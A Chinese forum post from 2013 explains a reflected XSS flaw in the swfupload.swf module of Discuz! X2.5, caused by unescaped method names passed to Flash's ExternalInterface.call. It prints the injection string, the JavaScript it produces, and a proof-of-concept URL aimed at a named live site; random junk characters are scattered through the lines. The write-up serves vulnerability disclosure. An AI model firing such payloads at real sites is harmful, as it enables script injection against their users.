找回密码
 立即注册
查看: 2250|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说7 O0 N7 ]/ P% X/ O6 m; x. o; }) C

. t- J; B  V9 C; Nflash.external.ExternalInterface.call($methodName, $parameter)+ K( b9 O' a; k$ t& f" c2 G: b
在浏览器中执行的是
# q1 v. j- \7 G8 Q* ]3 q  K; n+ _  Y
- M8 D! x- }# s( n, T) j; _try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
* u2 d, `) ^& b, x+ }7 L% o对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
, A# b! I+ C! }3 C3 t( q) V6 P. S3 N1 \+ k9 Y7 ^- v
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
5 [, E) H, D* _2 `3 c, {& t$methodName = a())}catch(e){alert(/xss/)}//0 U8 T/ ]( Z' M
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。/ ^3 B+ c/ I* B8 ?

1 H% T) H; E; I+ btry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
% d4 F, H1 v9 s: s4 [: f! m. z" x+ u  b2 Z% Q9 Q  f
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )5 _+ p3 {) ^+ ~+ }( u  u. T
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
2 J' n2 {& t! |1 C$ o2 \2 N" y) v" M9 i3 m! T
1 V, K/ t. t8 R- R% D
7 O1 ]5 [& @. A* R) d0 G
漏洞文件:upload\static\image\common\swfupload.swf
7 i; h9 E, K% B' k9 M$ J3 X' x
- F0 h' o0 K2 R' ^8 W原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
4 e: v8 c2 }% C% W! V7 x$ X
; Q+ x6 O5 c  V) @6 D# A$ [8 r/ h  X& s1 Q1 W& X- Y$ q
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
' E6 L0 Y8 a5 b5 q  ~6 |# ?
3 y- @: r0 M; l( Y9 Y' Z6 A+ \/ K' M8 r# b# O: t/ S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表